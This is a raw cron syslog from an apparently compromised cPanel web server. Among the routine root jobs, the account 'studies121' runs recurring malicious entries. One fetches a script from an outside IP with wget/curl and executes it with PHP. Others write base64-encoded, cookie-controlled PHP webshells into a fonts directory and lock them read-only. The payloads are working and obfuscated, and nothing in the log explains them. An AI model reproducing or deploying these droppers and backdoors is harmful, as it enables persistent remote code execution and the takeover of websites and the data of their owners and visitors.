Sep  9 15:40:01 ip-184-168-122-23 CROND[8521]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:40:01 ip-184-168-122-23 CROND[8520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:40:01 ip-184-168-122-23 CROND[8523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:40:01 ip-184-168-122-23 CROND[8524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:40:02 ip-184-168-122-23 CROND[8528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:40:02 ip-184-168-122-23 CROND[8529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:40:02 ip-184-168-122-23 CROND[8530]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 15:41:01 ip-184-168-122-23 CROND[8614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:41:01 ip-184-168-122-23 CROND[8618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:41:01 ip-184-168-122-23 CROND[8617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:41:01 ip-184-168-122-23 CROND[8624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:42:01 ip-184-168-122-23 CROND[8784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:42:01 ip-184-168-122-23 CROND[8786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:42:01 ip-184-168-122-23 CROND[8788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:42:01 ip-184-168-122-23 CROND[8790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:42:01 ip-184-168-122-23 CROND[8789]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:43:02 ip-184-168-122-23 CROND[8874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:43:02 ip-184-168-122-23 CROND[8875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:43:02 ip-184-168-122-23 CROND[8879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:43:02 ip-184-168-122-23 CROND[8877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:44:01 ip-184-168-122-23 CROND[8963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:44:01 ip-184-168-122-23 CROND[8965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:44:01 ip-184-168-122-23 CROND[8968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:44:01 ip-184-168-122-23 CROND[8966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:44:01 ip-184-168-122-23 CROND[8967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:45:01 ip-184-168-122-23 CROND[9056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:45:01 ip-184-168-122-23 CROND[9058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:45:01 ip-184-168-122-23 CROND[9060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:45:01 ip-184-168-122-23 CROND[9061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:45:01 ip-184-168-122-23 CROND[9059]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:45:01 ip-184-168-122-23 CROND[9062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:46:01 ip-184-168-122-23 CROND[9172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:46:01 ip-184-168-122-23 CROND[9174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:46:01 ip-184-168-122-23 CROND[9176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:46:01 ip-184-168-122-23 CROND[9179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:46:02 ip-184-168-122-23 CROND[9182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:46:02 ip-184-168-122-23 CROND[9184]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 15:46:02 ip-184-168-122-23 CROND[9183]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 15:47:01 ip-184-168-122-23 CROND[9327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:47:01 ip-184-168-122-23 CROND[9329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:47:01 ip-184-168-122-23 CROND[9330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:47:01 ip-184-168-122-23 CROND[9331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:48:01 ip-184-168-122-23 CROND[9424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:48:01 ip-184-168-122-23 CROND[9426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:48:01 ip-184-168-122-23 CROND[9428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:48:01 ip-184-168-122-23 CROND[9430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:48:01 ip-184-168-122-23 CROND[9429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:49:01 ip-184-168-122-23 CROND[9521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:49:01 ip-184-168-122-23 CROND[9524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:49:01 ip-184-168-122-23 CROND[9522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:49:01 ip-184-168-122-23 CROND[9523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:50:01 ip-184-168-122-23 CROND[9628]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 15:50:01 ip-184-168-122-23 CROND[9630]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 15:50:01 ip-184-168-122-23 CROND[9634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:50:01 ip-184-168-122-23 CROND[9633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:50:01 ip-184-168-122-23 CROND[9631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:50:01 ip-184-168-122-23 CROND[9632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:50:01 ip-184-168-122-23 CROND[9635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:50:01 ip-184-168-122-23 CROND[9639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:50:01 ip-184-168-122-23 CROND[9638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:51:01 ip-184-168-122-23 CROND[9732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:51:01 ip-184-168-122-23 CROND[9734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:51:01 ip-184-168-122-23 CROND[9736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:51:01 ip-184-168-122-23 CROND[9738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:52:01 ip-184-168-122-23 CROND[9892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
